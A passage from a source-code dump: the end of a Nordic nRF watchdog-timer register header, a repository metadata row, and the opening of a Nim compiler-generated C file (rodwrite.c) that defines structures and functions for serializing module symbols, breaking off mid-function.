#define WDT_RREN_RR0_Disabled (0UL) /*!< Disable RR[0] register */
#define WDT_RREN_RR0_Enabled (1UL) /*!< Enable RR[0] register */
/* Register: WDT_CONFIG */
/* Description: Configuration register */
/* Bit 3 : Configure the watchdog to either be paused, or kept running, while the CPU is halted by the debugger */
#define WDT_CONFIG_HALT_Pos (3UL) /*!< Position of HALT field. */
#define WDT_CONFIG_HALT_Msk (0x1UL << WDT_CONFIG_HALT_Pos) /*!< Bit mask of HALT field. */
#define WDT_CONFIG_HALT_Pause (0UL) /*!< Pause watchdog while the CPU is halted by the debugger */
#define WDT_CONFIG_HALT_Run (1UL) /*!< Keep the watchdog running while the CPU is halted by the debugger */
/* Bit 0 : Configure the watchdog to either be paused, or kept running, while the CPU is sleeping */
#define WDT_CONFIG_SLEEP_Pos (0UL) /*!< Position of SLEEP field. */
#define WDT_CONFIG_SLEEP_Msk (0x1UL << WDT_CONFIG_SLEEP_Pos) /*!< Bit mask of SLEEP field. */
#define WDT_CONFIG_SLEEP_Pause (0UL) /*!< Pause watchdog while the CPU is sleeping */
#define WDT_CONFIG_SLEEP_Run (1UL) /*!< Keep the watchdog running while the CPU is sleeping */
/* Register: WDT_RR */
/* Description: Description collection[0]: Reload request 0 */
/* Bits 31..0 : Reload request register */
#define WDT_RR_RR_Pos (0UL) /*!< Position of RR field. */
#define WDT_RR_RR_Msk (0xFFFFFFFFUL << WDT_RR_RR_Pos) /*!< Bit mask of RR field. */
#define WDT_RR_RR_Reload (0x6E524635UL) /*!< Value to request a reload of the watchdog timer */
/*lint --flb "Leave library region" */
#endif
| [
"wojciech.jasko@nordicsemi.no"
] | wojciech.jasko@nordicsemi.no |
098ab0bf2e739ca0bde775d1d82ba8244754a424 | 21a4b5fd560169eda0ef2da9b9670dcdbe2bb0b6 | /c_code/5_2/rodwrite.c | 439b23ce4133ddb11013eaf86fc6877a052d37bf | [] | no_license | sriramnrn/csources | 694b389f2456742ccefa88ce250f74a5f0347b8c | 5938a27a43f4bf3ad920f9725f3e8aa3d324b4a1 | refs/heads/devel | 2021-01-22T15:01:26.212148 | 2015-01-24T14:32:09 | 2015-01-24T14:32:09 | 29,775,787 | 0 | 0 | null | 2015-01-24T12:27:27 | 2015-01-24T12:27:26 | null | UTF-8 | C | false | false | 54,567 | c | /* Generated by Nim Compiler v0.10.0 */
/* (c) 2014 Andreas Rumpf */
/* The generated code is subject to the original license. */
#define NIM_INTBITS 64
#include "nimbase.h"
#include <string.h>
#include <stdio.h>
typedef struct tpasscontext285005 tpasscontext285005;
typedef struct tsym224849 tsym224849;
typedef struct tidobj200015 tidobj200015;
typedef struct TNimObject TNimObject;
typedef struct TNimType TNimType;
typedef struct TNimNode TNimNode;
typedef struct ttypeseq224851 ttypeseq224851;
typedef struct ttype224855 ttype224855;
typedef struct TGenericSeq TGenericSeq;
typedef struct tscope224843 tscope224843;
typedef struct TY224950 TY224950;
typedef struct tinstantiation224839 tinstantiation224839;
typedef struct tstrtable224823 tstrtable224823;
typedef struct tsymseq224821 tsymseq224821;
typedef struct tident200021 tident200021;
typedef struct tlineinfo195539 tlineinfo195539;
typedef struct tnode224819 tnode224819;
typedef struct tloc224833 tloc224833;
typedef struct trope177009 trope177009;
typedef struct tlib224837 tlib224837;
typedef struct NimStringDesc NimStringDesc;
typedef struct trodwriter299005 trodwriter299005;
typedef struct tindex275028 tindex275028;
typedef struct tiitable234274 tiitable234274;
typedef struct tiipairseq234272 tiipairseq234272;
typedef struct tiipair234270 tiipair234270;
typedef struct TY119408 TY119408;
typedef struct tcell44735 tcell44735;
typedef struct tcellseq44751 tcellseq44751;
typedef struct tgcheap46816 tgcheap46816;
typedef struct tcellset44747 tcellset44747;
typedef struct tpagedesc44743 tpagedesc44743;
typedef struct tmemregion27010 tmemregion27010;
typedef struct tsmallchunk26240 tsmallchunk26240;
typedef struct tllchunk27004 tllchunk27004;
typedef struct tbigchunk26242 tbigchunk26242;
typedef struct tintset26217 tintset26217;
typedef struct ttrunk26213 ttrunk26213;
typedef struct tavlnode27008 tavlnode27008;
typedef struct tgcstat46814 tgcstat46814;
typedef struct stringtableobj131012 stringtableobj131012;
typedef struct keyvaluepairseq131010 keyvaluepairseq131010;
typedef struct keyvaluepair131008 keyvaluepair131008;
typedef struct tlistentry127022 tlistentry127022;
typedef struct tnodeseq224813 tnodeseq224813;
typedef struct TY224939 TY224939;
typedef struct tbasechunk26238 tbasechunk26238;
typedef struct tfreecell26230 tfreecell26230;
typedef N_NIMCALL_PTR(void, TY3089) (void* p, NI op);
typedef N_NIMCALL_PTR(void*, TY3094) (void* p);
struct TNimType {
NI size;
NU8 kind;
NU8 flags;
TNimType* base;
TNimNode* node;
void* finalizer;
TY3089 marker;
TY3094 deepcopy;
};
struct TNimObject {
TNimType* m_type;
};
struct tidobj200015 {
TNimObject Sup;
NI Id;
};
struct TGenericSeq {
NI len;
NI reserved;
};
struct tstrtable224823 {
NI Counter;
tsymseq224821* Data;
};
struct tlineinfo195539 {
NI16 Line;
NI16 Col;
NI32 Fileindex;
};
struct tloc224833 {
NU8 K;
NU8 S;
NU8 Flags;
ttype224855* T;
trope177009* R;
trope177009* Heaproot;
};
struct tsym224849 {
tidobj200015 Sup;
NU8 Kind;
union {
struct {ttypeseq224851* Typeinstcache;
tscope224843* Typscope;
} S1;
struct {TY224950* Procinstcache;
tscope224843* Scope;
} S2;
struct {TY224950* Usedgenerics;
tstrtable224823 Tab;
} S3;
struct {tsym224849* Guard;
} S4;
} kindU;
NU16 Magic;
ttype224855* Typ;
tident200021* Name;
tlineinfo195539 Info;
tsym224849* Owner;
NU32 Flags;
tnode224819* Ast;
NU32 Options;
NI Position;
NI Offset;
tloc224833 Loc;
tlib224837* Annex;
tnode224819* Constraint;
};
struct NimStringDesc {
TGenericSeq Sup;
NIM_CHAR data[SEQ_DECL_SIZE];
};
struct tpasscontext285005 {
TNimObject Sup;
NIM_BOOL Fromcache;
};
struct tiipair234270 {
NI Key;
NI Val;
};
struct tiitable234274 {
NI Counter;
tiipairseq234272* Data;
};
struct tindex275028 {
NI Lastidxkey;
NI Lastidxval;
tiitable234274 Tab;
NimStringDesc* R;
NI Offset;
};
struct trodwriter299005 {
tpasscontext285005 Sup;
tsym224849* Module;
NI32 Crc;
NU32 Options;
NimStringDesc* Defines;
NimStringDesc* Incldeps;
NimStringDesc* Moddeps;
NimStringDesc* Interf;
NimStringDesc* Compilerprocs;
tindex275028 Index;
tindex275028 Imports;
NimStringDesc* Converters;
NimStringDesc* Methods;
NimStringDesc* Init;
NimStringDesc* Data;
tsymseq224821* Sstack;
ttypeseq224851* Tstack;
TY119408* Files;
NimStringDesc* Origfile;
};
struct TNimNode {
NU8 kind;
NI offset;
TNimType* typ;
NCSTRING name;
NI len;
TNimNode** sons;
};
struct tcell44735 {
NI Refcount;
TNimType* Typ;
};
struct tcellseq44751 {
NI Len;
NI Cap;
tcell44735** D;
};
struct tcellset44747 {
NI Counter;
NI Max;
tpagedesc44743* Head;
tpagedesc44743** Data;
};
typedef tsmallchunk26240* TY27022[512];
typedef ttrunk26213* ttrunkbuckets26215[256];
struct tintset26217 {
ttrunkbuckets26215 Data;
};
struct tmemregion27010 {
NI Minlargeobj;
NI Maxlargeobj;
TY27022 Freesmallchunks;
tllchunk27004* Llmem;
NI Currmem;
NI Maxmem;
NI Freemem;
NI Lastsize;
tbigchunk26242* Freechunkslist;
tintset26217 Chunkstarts;
tavlnode27008* Root;
tavlnode27008* Deleted;
tavlnode27008* Last;
tavlnode27008* Freeavlnodes;
};
struct tgcstat46814 {
NI Stackscans;
NI Cyclecollections;
NI Maxthreshold;
NI Maxstacksize;
NI Maxstackcells;
NI Cycletablesize;
NI64 Maxpause;
};
struct tgcheap46816 {
void* Stackbottom;
NI Cyclethreshold;
tcellseq44751 Zct;
tcellseq44751 Decstack;
tcellset44747 Cycleroots;
tcellseq44751 Tempstack;
NI Recgclock;
tmemregion27010 Region;
tgcstat46814 Stat;
};
struct keyvaluepair131008 {
NimStringDesc* Field0;
NimStringDesc* Field1;
};
struct stringtableobj131012 {
TNimObject Sup;
NI Counter;
keyvaluepairseq131010* Data;
NU8 Mode;
};
struct tident200021 {
tidobj200015 Sup;
NimStringDesc* S;
tident200021* Next;
NI H;
};
struct ttype224855 {
tidobj200015 Sup;
NU8 Kind;
NU8 Callconv;
NU32 Flags;
ttypeseq224851* Sons;
tnode224819* N;
tsym224849* Owner;
tsym224849* Sym;
tsym224849* Destructor;
tsym224849* Deepcopy;
NI64 Size;
NI16 Align;
NI16 Locklevel;
tloc224833 Loc;
};
struct tlistentry127022 {
TNimObject Sup;
tlistentry127022* Prev;
tlistentry127022* Next;
};
struct tlib224837 {
tlistentry127022 Sup;
NU8 Kind;
NIM_BOOL Generated;
NIM_BOOL Isoverriden;
trope177009* Name;
tnode224819* Path;
};
struct tnode224819 {
ttype224855* Typ;
tlineinfo195539 Info;
NU16 Flags;
NU8 Kind;
union {
struct {NI64 Intval;
} S1;
struct {NF Floatval;
} S2;
struct {NimStringDesc* Strval;
} S3;
struct {tsym224849* Sym;
} S4;
struct {tident200021* Ident;
} S5;
struct {tnodeseq224813* Sons;
} S6;
} kindU;
NimStringDesc* Comment;
};
struct tscope224843 {
NI Depthlevel;
tstrtable224823 Symbols;
tnodeseq224813* Usingsyms;
tscope224843* Parent;
};
struct tinstantiation224839 {
tsym224849* Sym;
ttypeseq224851* Concretetypes;
TY224939* Usedby;
};
struct trope177009 {
TNimObject Sup;
trope177009* Left;
trope177009* Right;
NI Length;
NimStringDesc* Data;
};
typedef NI TY26220[8];
struct tpagedesc44743 {
tpagedesc44743* Next;
NI Key;
TY26220 Bits;
};
struct tbasechunk26238 {
NI Prevsize;
NI Size;
NIM_BOOL Used;
};
struct tsmallchunk26240 {
tbasechunk26238 Sup;
tsmallchunk26240* Next;
tsmallchunk26240* Prev;
tfreecell26230* Freelist;
NI Free;
NI Acc;
NF Data;
};
struct tllchunk27004 {
NI Size;
NI Acc;
tllchunk27004* Next;
};
struct tbigchunk26242 {
tbasechunk26238 Sup;
tbigchunk26242* Next;
tbigchunk26242* Prev;
NI Align;
NF Data;
};
struct ttrunk26213 {
ttrunk26213* Next;
NI Key;
TY26220 Bits;
};
typedef tavlnode27008* TY27014[2];
struct tavlnode27008 {
TY27014 Link;
NI Key;
NI Upperbound;
NI Level;
};
struct tfreecell26230 {
tfreecell26230* Next;
NI Zerofield;
};
struct ttypeseq224851 {
TGenericSeq Sup;
ttype224855* data[SEQ_DECL_SIZE];
};
struct TY224950 {
TGenericSeq Sup;
tinstantiation224839* data[SEQ_DECL_SIZE];
};
struct tsymseq224821 {
TGenericSeq Sup;
tsym224849* data[SEQ_DECL_SIZE];
};
struct tiipairseq234272 {
TGenericSeq Sup;
tiipair234270 data[SEQ_DECL_SIZE];
};
struct TY119408 {
TGenericSeq Sup;
NimStringDesc* data[SEQ_DECL_SIZE];
};
struct keyvaluepairseq131010 {
TGenericSeq Sup;
keyvaluepair131008 data[SEQ_DECL_SIZE];
};
struct tnodeseq224813 {
TGenericSeq Sup;
tnode224819* data[SEQ_DECL_SIZE];
};
struct TY224939 {
TGenericSeq Sup;
NI32 data[SEQ_DECL_SIZE];
};
N_NIMCALL(void, internalerror_197989)(NimStringDesc* errmsg);
N_NIMCALL(trodwriter299005*, newrodwriter_299029)(NI32 crc, tsym224849* module);
N_NIMCALL(void, nimGCvisit)(void* d, NI op);
N_NIMCALL(void, TMP4068)(void* p, NI op);
N_NIMCALL(void*, newObj)(TNimType* typ, NI size);
static N_INLINE(void, nimGCunrefNoCycle)(void* p);
static N_INLINE(tcell44735*, usrtocell_48446)(void* usr);
static N_INLINE(void, rtladdzct_50004)(tcell44735* c);
N_NOINLINE(void, addzct_48417)(tcellseq44751* s, tcell44735* c);
N_NIMCALL(void*, newSeqRC1)(TNimType* typ, NI len);
N_NIMCALL(void, initiitable_234282)(tiitable234274* x);
N_NIMCALL(NimStringDesc*, copyStringRC1)(NimStringDesc* src);
static N_INLINE(void, asgnRefNoCycle)(void** dest, void* src);
N_NIMCALL(NimStringDesc*, getdefines_299070)(void);
N_NIMCALL(NimStringDesc*, copyString)(NimStringDesc* src);
static N_INLINE(NIM_BOOL, eqStrings)(NimStringDesc* a, NimStringDesc* b);
static N_INLINE(void, appendString)(NimStringDesc* dest, NimStringDesc* src);
N_NIMCALL(NimStringDesc*, resizeString)(NimStringDesc* dest, NI addlen);
N_NIMCALL(NimStringDesc*, rawNewString)(NI space);
N_NIMCALL(NimStringDesc*, rawNewString)(NI cap);
N_NIMCALL(NimStringDesc*, tofilename_197025)(NI32 fileidx);
N_NIMCALL(NI32, getcrc_277747)(NI32 fileidx);
N_NIMCALL(void, rawaddinterfacesym_300946)(trodwriter299005* w, tsym224849* s);
N_NIMCALL(void, pushsym_299328)(trodwriter299005* w, tsym224849* s);
N_NIMCALL(NI, iitableget_234289)(tiitable234274 t, NI key);
N_NIMCALL(TGenericSeq*, incrSeq)(TGenericSeq* seq, NI elemsize);
N_NIMCALL(void, processstacks_300925)(trodwriter299005* w, NIM_BOOL finalpass);
N_NIMCALL(NI, symstack_300401)(trodwriter299005* w);
N_NIMCALL(tsym224849*, getmodule_234243)(tsym224849* s);
N_NIMCALL(void, addtoindex_300209)(tindex275028* w, NI key, NI val);
N_NIMCALL(void, encodevint_233304)(NI x, NimStringDesc** result);
N_NIMCALL(NimStringDesc*, addChar)(NimStringDesc* s, NIM_CHAR c);
N_NIMCALL(void, iitableput_234296)(tiitable234274* t, NI key, NI val);
N_NIMCALL(void, encodesym_299920)(trodwriter299005* w, tsym224849* s, NimStringDesc** result);
N_NIMCALL(void, encodestr_233042)(NimStringDesc* s, NimStringDesc** result);
N_NIMCALL(void, pushtype_299300)(trodwriter299005* w, ttype224855* t);
N_NIMCALL(NI, fileidx_299109)(trodwriter299005* w, NimStringDesc* filename);
N_NIMCALL(TGenericSeq*, setLengthSeq)(TGenericSeq* seq, NI elemsize, NI newlen);
N_NIMCALL(void, encodeloc_299618)(trodwriter299005* w, tloc224833* loc, NimStringDesc** result);
N_NIMCALL(NimStringDesc*, ropetostr_177101)(trope177009* p);
N_NIMCALL(NimStringDesc*, setLengthStr)(NimStringDesc* s, NI newlen);
N_NIMCALL(void, encodelib_299899)(trodwriter299005* w, tlib224837* lib, tlineinfo195539 info, NimStringDesc** result);
N_NIMCALL(void, encodenode_299356)(trodwriter299005* w, tlineinfo195539 finfo, tnode224819* n, NimStringDesc** result);
N_NIMCALL(void, encodevbiggestint_233264)(NI64 x, NimStringDesc** result);
N_NIMCALL(NimStringDesc*, nimFloatToStr)(NF f);
static N_INLINE(NI, sonslen_225252)(tnode224819* n);
N_NIMCALL(tlineinfo195539, unknownlineinfo_196405)(void);
static N_INLINE(NIM_BOOL, haspattern_231804)(tsym224849* s);
static N_INLINE(NIM_BOOL, isroutine_231781)(tsym224849* s);
N_NIMCALL(NI, typestack_300842)(trodwriter299005* w);
N_NIMCALL(void, encodetype_299720)(trodwriter299005* w, ttype224855* t, NimStringDesc** result);
static N_INLINE(NI, sonslen_225258)(ttype224855* n);
N_NIMCALL(tnode224819*, process_301204)(tpasscontext285005* c, tnode224819* n);
N_NIMCALL(void, internalerror_197970)(tlineinfo195539 info, NimStringDesc* errmsg);
N_NIMCALL(void, addinterfacesym_299050)(trodwriter299005* w, tsym224849* s);
N_NIMCALL(void, addmoddep_299036)(trodwriter299005* w, NimStringDesc* dep);
N_NIMCALL(NimStringDesc*, getmodulename_297018)(tnode224819* n);
N_NIMCALL(void, addstmt_299057)(trodwriter299005* w, tnode224819* n);
N_NIMCALL(void, addincldep_299043)(trodwriter299005* w, NimStringDesc* dep);
N_NIMCALL(NimStringDesc*, findmodule_170366)(NimStringDesc* modulename, NimStringDesc* currentmodule);
N_NIMCALL(NimStringDesc*, tofullpath_197037)(NI32 fileidx);
N_NIMCALL(NI32, crcfromfile_176046)(NimStringDesc* filename);
N_NIMCALL(void, writerod_299064)(trodwriter299005* w);
N_NIMCALL(NIM_BOOL, open_12403)(FILE** f, NimStringDesc* filename, NU8 mode, NI bufsize);
N_NIMCALL(NimStringDesc*, completegeneratedfilepath_170001)(NimStringDesc* f, NIM_BOOL createsubdir);
N_NIMCALL(NimStringDesc*, noschangeFileExt)(NimStringDesc* filename, NimStringDesc* ext);
N_NIMCALL(NimStringDesc*, withpackagename_169946)(NimStringDesc* path);
N_NIMCALL(void, write_12665)(FILE* f, NimStringDesc* s);
N_NIMCALL(void, savemaxids_223477)(NimStringDesc* project);
N_NIMCALL(NimStringDesc*, HEX2F_116899)(NimStringDesc* head, NimStringDesc* tail);
STRING_LITERAL(TMP4066, "rodwrite: module ID not set", 27);
STRING_LITERAL(TMP4069, "", 0);
STRING_LITERAL(TMP4070, "true", 4);
STRING_LITERAL(TMP4071, " ", 1);
STRING_LITERAL(TMP4072, "symStack: module nil: ", 22);
STRING_LITERAL(TMP4073, "\012", 1);
STRING_LITERAL(TMP4074, "{}", 2);
STRING_LITERAL(TMP4075, "()", 2);
STRING_LITERAL(TMP4076, "[]", 2);
STRING_LITERAL(TMP4077, "encodeType: tyForward", 21);
STRING_LITERAL(TMP4078, "^()", 3);
STRING_LITERAL(TMP4079, "could not serialize some forwarded symbols/types", 48);
STRING_LITERAL(TMP4080, "rodwrite.process", 16);
STRING_LITERAL(TMP4081, "rodwrite.process: body is nil", 29);
STRING_LITERAL(TMP4082, "rod", 3);
STRING_LITERAL(TMP4083, "NIM:", 4);
STRING_LITERAL(TMP4084, "1215", 4);
STRING_LITERAL(TMP4085, "ID:", 3);
STRING_LITERAL(TMP4086, "ORIGFILE:", 9);
STRING_LITERAL(TMP4087, "CRC:", 4);
STRING_LITERAL(TMP4088, "OPTIONS:", 8);
STRING_LITERAL(TMP4089, "GOPTIONS:", 9);
STRING_LITERAL(TMP4090, "CMD:", 4);
STRING_LITERAL(TMP4091, "DEFINES:", 8);
STRING_LITERAL(TMP4092, "FILES(\012", 7);
STRING_LITERAL(TMP4093, ")\012", 2);
STRING_LITERAL(TMP4094, "INCLUDES(\012", 10);
STRING_LITERAL(TMP4095, "DEPS:", 5);
STRING_LITERAL(TMP4096, "INTERF(\012", 8);
STRING_LITERAL(TMP4097, "COMPILERPROCS(\012", 15);
STRING_LITERAL(TMP4098, "INDEX(\012", 7);
STRING_LITERAL(TMP4099, "IMPORTS(\012", 9);
STRING_LITERAL(TMP4100, "CONVERTERS:", 11);
STRING_LITERAL(TMP4101, "METHODS:", 8);
STRING_LITERAL(TMP4102, "INIT(\012", 6);
STRING_LITERAL(TMP4103, "DATA(\012", 6);
STRING_LITERAL(TMP4104, "\000", 1);
extern TNimType NTI285005; /* TPassContext */
TNimType NTI299005; /* TRodWriter */
extern TNimType NTI224817; /* PSym */
extern TNimType NTI176010; /* TCrc32 */
extern TNimType NTI169016; /* TOptions */
extern TNimType NTI149; /* string */
extern TNimType NTI275028; /* TIndex */
extern TNimType NTI224821; /* TSymSeq */
extern TNimType NTI224851; /* TTypeSeq */
extern TNimType NTI119408; /* seq[string] */
TNimType NTI299007; /* PRodWriter */
extern tgcheap46816 gch_46844;
extern stringtableobj131012* gsymbols_201004;
extern NU32 goptions_169116;
extern NU32 gglobaloptions_169118;
extern NU8 gcmd_169120;
extern NimStringDesc* gprojectpath_169233;
extern NimStringDesc* gprojectname_169232;
N_NIMCALL(void, TMP4068)(void* p, NI op) {
trodwriter299005* a;
a = (trodwriter299005*)p;
nimGCvisit((void*)(*a).Module, op);
nimGCvisit((void*)(*a).Defines, op);
nimGCvisit((void*)(*a).Incldeps, op);
nimGCvisit((void*)(*a).Moddeps, op);
nimGCvisit((void*)(*a).Interf, op);
nimGCvisit((void*)(*a).Compilerprocs, op);
nimGCvisit((void*)(*a).Index.Tab.Data, op);
nimGCvisit((void*)(*a).Index.R, op);
nimGCvisit((void*)(*a).Imports.Tab.Data, op);
nimGCvisit((void*)(*a).Imports.R, op);
nimGCvisit((void*)(*a).Converters, op);
nimGCvisit((void*)(*a).Methods, op);
nimGCvisit((void*)(*a).Init, op);
nimGCvisit((void*)(*a).Data, op);
nimGCvisit((void*)(*a).Sstack, op);
nimGCvisit((void*)(*a).Tstack, op);
nimGCvisit((void*)(*a).Files, op);
nimGCvisit((void*)(*a).Origfile, op);
}
static N_INLINE(tcell44735*, usrtocell_48446)(void* usr) {
tcell44735* result;
result = 0;
result = ((tcell44735*) ((NI)((NU64)(((NI) (usr))) - (NU64)(((NI)sizeof(tcell44735))))));
return result;
}
static N_INLINE(void, rtladdzct_50004)(tcell44735* c) {
addzct_48417(&gch_46844.Zct, c);
}
static N_INLINE(void, nimGCunrefNoCycle)(void* p) {
tcell44735* c;
c = usrtocell_48446(p);
{
(*c).Refcount -= 8;
if (!((NU64)((*c).Refcount) < (NU64)(8))) goto LA3;
rtladdzct_50004(c);
}
LA3: ;
}
static N_INLINE(void, asgnRefNoCycle)(void** dest, void* src) {
{
tcell44735* c;
if (!!((src == NIM_NIL))) goto LA3;
c = usrtocell_48446(src);
(*c).Refcount += 8;
}
LA3: ;
{
tcell44735* c;
if (!!(((*dest) == NIM_NIL))) goto LA7;
c = usrtocell_48446((*dest));
{
(*c).Refcount -= 8;
if (!((NU64)((*c).Refcount) < (NU64)(8))) goto LA11;
rtladdzct_50004(c);
}
LA11: ;
}
LA7: ;
(*dest) = src;
}
static N_INLINE(NIM_BOOL, eqStrings)(NimStringDesc* a, NimStringDesc* b) {
NIM_BOOL result;
NIM_BOOL LOC11;
int LOC13;
result = 0;
{
if (!(a == b)) goto LA3;
result = NIM_TRUE;
goto BeforeRet;
}
LA3: ;
{
NIM_BOOL LOC7;
LOC7 = 0;
LOC7 = (a == NIM_NIL);
if (LOC7) goto LA8;
LOC7 = (b == NIM_NIL);
LA8: ;
if (!LOC7) goto LA9;
result = NIM_FALSE;
goto BeforeRet;
}
LA9: ;
LOC11 = 0;
LOC11 = ((*a).Sup.len == (*b).Sup.len);
if (!(LOC11)) goto LA12;
LOC13 = 0;
LOC13 = memcmp(((NCSTRING) ((*a).data)), ((NCSTRING) ((*b).data)), (NI64)((*a).Sup.len * 1));
LOC11 = (LOC13 == ((NI32) 0));
LA12: ;
result = LOC11;
goto BeforeRet;
BeforeRet: ;
return result;
}
static N_INLINE(void, appendString)(NimStringDesc* dest, NimStringDesc* src) {
memcpy(((NCSTRING) (&(*dest).data[((*dest).Sup.len)- 0])), ((NCSTRING) ((*src).data)), (NI64)((*src).Sup.len + 1));
(*dest).Sup.len += (*src).Sup.len;
}
N_NIMCALL(NimStringDesc*, getdefines_299070)(void) {
NimStringDesc* result;
result = 0;
result = copyString(((NimStringDesc*) &TMP4069));
{
NimStringDesc* d_299073;
d_299073 = 0;
{
NimStringDesc* key_299079;
NimStringDesc* val_299081;
key_299079 = 0;
val_299081 = 0;
{
NI h_299083;
NI HEX3Atmp_299085;
NI res_299087;
h_299083 = 0;
HEX3Atmp_299085 = 0;
HEX3Atmp_299085 = ((*gsymbols_201004).Data->Sup.len-1);
res_299087 = 0;
{
while (1) {
if (!(res_299087 <= HEX3Atmp_299085)) goto LA5;
h_299083 = res_299087;
{
if (!!((*gsymbols_201004).Data->data[h_299083].Field0 == 0)) goto LA8;
key_299079 = (*gsymbols_201004).Data->data[h_299083].Field0;
val_299081 = (*gsymbols_201004).Data->data[h_299083].Field1;
{
if (!eqStrings(val_299081, ((NimStringDesc*) &TMP4070))) goto LA12;
d_299073 = key_299079;
{
if (!!((result->Sup.len == 0))) goto LA16;
result = resizeString(result, 1);
appendString(result, ((NimStringDesc*) &TMP4071));
}
LA16: ;
result = resizeString(result, d_299073->Sup.len + 0);
appendString(result, d_299073);
}
LA12: ;
}
LA8: ;
res_299087 += 1;
} LA5: ;
}
}
}
}
return result;
}
N_NIMCALL(trodwriter299005*, newrodwriter_299029)(NI32 crc, tsym224849* module) {
trodwriter299005* result;
NimStringDesc* LOC1;
NimStringDesc* LOC2;
NimStringDesc* LOC3;
NimStringDesc* LOC4;
NimStringDesc* LOC5;
NimStringDesc* LOC6;
NimStringDesc* LOC7;
NimStringDesc* LOC8;
result = 0;
result = (trodwriter299005*) newObj((&NTI299007), sizeof(trodwriter299005));
(*result).Sup.Sup.m_type = (&NTI299005);
if ((*result).Sstack) nimGCunrefNoCycle((*result).Sstack);
(*result).Sstack = (tsymseq224821*) newSeqRC1((&NTI224821), 0);
if ((*result).Tstack) nimGCunrefNoCycle((*result).Tstack);
(*result).Tstack = (ttypeseq224851*) newSeqRC1((&NTI224851), 0);
initiitable_234282(&(*result).Index.Tab);
initiitable_234282(&(*result).Imports.Tab);
LOC1 = 0;
LOC1 = (*result).Index.R; (*result).Index.R = copyStringRC1(((NimStringDesc*) &TMP4069));
if (LOC1) nimGCunrefNoCycle(LOC1);
LOC2 = 0;
LOC2 = (*result).Imports.R; (*result).Imports.R = copyStringRC1(((NimStringDesc*) &TMP4069));
if (LOC2) nimGCunrefNoCycle(LOC2);
(*result).Crc = crc;
asgnRefNoCycle((void**) &(*result).Module, module);
asgnRefNoCycle((void**) &(*result).Defines, getdefines_299070());
(*result).Options = goptions_169116;
if ((*result).Files) nimGCunrefNoCycle((*result).Files);
(*result).Files = (TY119408*) newSeqRC1((&NTI119408), 0);
LOC3 = 0;
LOC3 = (*result).Incldeps; (*result).Incldeps = copyStringRC1(((NimStringDesc*) &TMP4069));
if (LOC3) nimGCunrefNoCycle(LOC3);
LOC4 = 0;
LOC4 = (*result).Moddeps; (*result).Moddeps = copyStringRC1(((NimStringDesc*) &TMP4069));
if (LOC4) nimGCunrefNoCycle(LOC4);
asgnRefNoCycle((void**) &(*result).Interf, rawNewString(2000));
LOC5 = 0;
LOC5 = (*result).Compilerprocs; (*result).Compilerprocs = copyStringRC1(((NimStringDesc*) &TMP4069));
if (LOC5) nimGCunrefNoCycle(LOC5);
LOC6 = 0;
LOC6 = (*result).Converters; (*result).Converters = copyStringRC1(((NimStringDesc*) &TMP4069));
if (LOC6) nimGCunrefNoCycle(LOC6);
LOC7 = 0;
LOC7 = (*result).Methods; (*result).Methods = copyStringRC1(((NimStringDesc*) &TMP4069));
if (LOC7) nimGCunrefNoCycle(LOC7);
LOC8 = 0;
LOC8 = (*result).Init; (*result).Init = copyStringRC1(((NimStringDesc*) &TMP4069));
if (LOC8) nimGCunrefNoCycle(LOC8);
asgnRefNoCycle((void**) &(*result).Origfile, tofilename_197025((*module).Info.Fileindex));
asgnRefNoCycle((void**) &(*result).Data, rawNewString(12000));
return result;
}
N_NIMCALL(void, pushsym_299328)(trodwriter299005* w, tsym224849* s) {
{
NI LOC3;
LOC3 = 0;
LOC3 = iitableget_234289((*w).Index.Tab, (*s).Sup.Id);
if (!(LOC3 == (IL64(-9223372036854775807) - IL64(1)))) goto LA4;
(*w).Sstack = (tsymseq224821*) incrSeq(&((*w).Sstack)->Sup, sizeof(tsym224849*));
asgnRefNoCycle((void**) &(*w).Sstack->data[(*w).Sstack->Sup.len-1], s);
}
LA4: ;
}
N_NIMCALL(void, addtoindex_300209)(tindex275028* w, NI key, NI val) {
{
if (!((NI64)(key - (*w).Lastidxkey) == 1)) goto LA3;
encodevint_233304((NI64)(val - (*w).Lastidxval), &(*w).R);
}
goto LA1;
LA3: ;
{
encodevint_233304((NI64)(key - (*w).Lastidxkey), &(*w).R);
(*w).R = addChar((*w).R, 32);
encodevint_233304((NI64)(val - (*w).Lastidxval), &(*w).R);
}
LA1: ;
(*w).R = resizeString((*w).R, 1);
appendString((*w).R, ((NimStringDesc*) &TMP4073));
(*w).Lastidxkey = key;
(*w).Lastidxval = val;
iitableput_234296(&(*w).Tab, key, val);
}
N_NIMCALL(void, pushtype_299300)(trodwriter299005* w, ttype224855* t) {
{
NI LOC3;
LOC3 = 0;
LOC3 = iitableget_234289((*w).Index.Tab, (*t).Sup.Id);
if (!(LOC3 == (IL64(-9223372036854775807) - IL64(1)))) goto LA4;
(*w).Tstack = (ttypeseq224851*) incrSeq(&((*w).Tstack)->Sup, sizeof(ttype224855*));
asgnRefNoCycle((void**) &(*w).Tstack->data[(*w).Tstack->Sup.len-1], t);
}
LA4: ;
}
N_NIMCALL(NI, fileidx_299109)(trodwriter299005* w, NimStringDesc* filename) {
NI result;
NimStringDesc* LOC8;
result = 0;
{
NI i_299126;
NI HEX3Atmp_299155;
NI res_299158;
i_299126 = 0;
HEX3Atmp_299155 = 0;
HEX3Atmp_299155 = ((*w).Files->Sup.len-1);
res_299158 = 0;
{
while (1) {
if (!(res_299158 <= HEX3Atmp_299155)) goto LA3;
i_299126 = res_299158;
{
if (!eqStrings((*w).Files->data[i_299126], filename)) goto LA6;
result = i_299126;
goto BeforeRet;
}
LA6: ;
res_299158 += 1;
} LA3: ;
}
}
result = (*w).Files->Sup.len;
(*w).Files = (TY119408*) setLengthSeq(&((*w).Files)->Sup, sizeof(NimStringDesc*), (NI64)(result + 1));
LOC8 = 0;
LOC8 = (*w).Files->data[result]; (*w).Files->data[result] = copyStringRC1(filename);
if (LOC8) nimGCunrefNoCycle(LOC8);
BeforeRet: ;
return result;
}
N_NIMCALL(void, encodeloc_299618)(trodwriter299005* w, tloc224833* loc, NimStringDesc** result) {
NI oldlen;
oldlen = (*result)->Sup.len;
(*result) = addChar((*result), 60);
{
if (!!(((*loc).K == ((NU8) 0)))) goto LA3;
encodevint_233304(((NI) ((*loc).K)), result);
}
LA3: ;
{
if (!!(((*loc).S == ((NU8) 0)))) goto LA7;
(*result) = addChar((*result), 42);
encodevint_233304(((NI) ((*loc).S)), result);
}
LA7: ;
{
if (!!(((*loc).Flags == 0))) goto LA11;
(*result) = addChar((*result), 36);
encodevint_233304(((NI) (((NI32) ((*loc).Flags)))), result);
}
LA11: ;
{
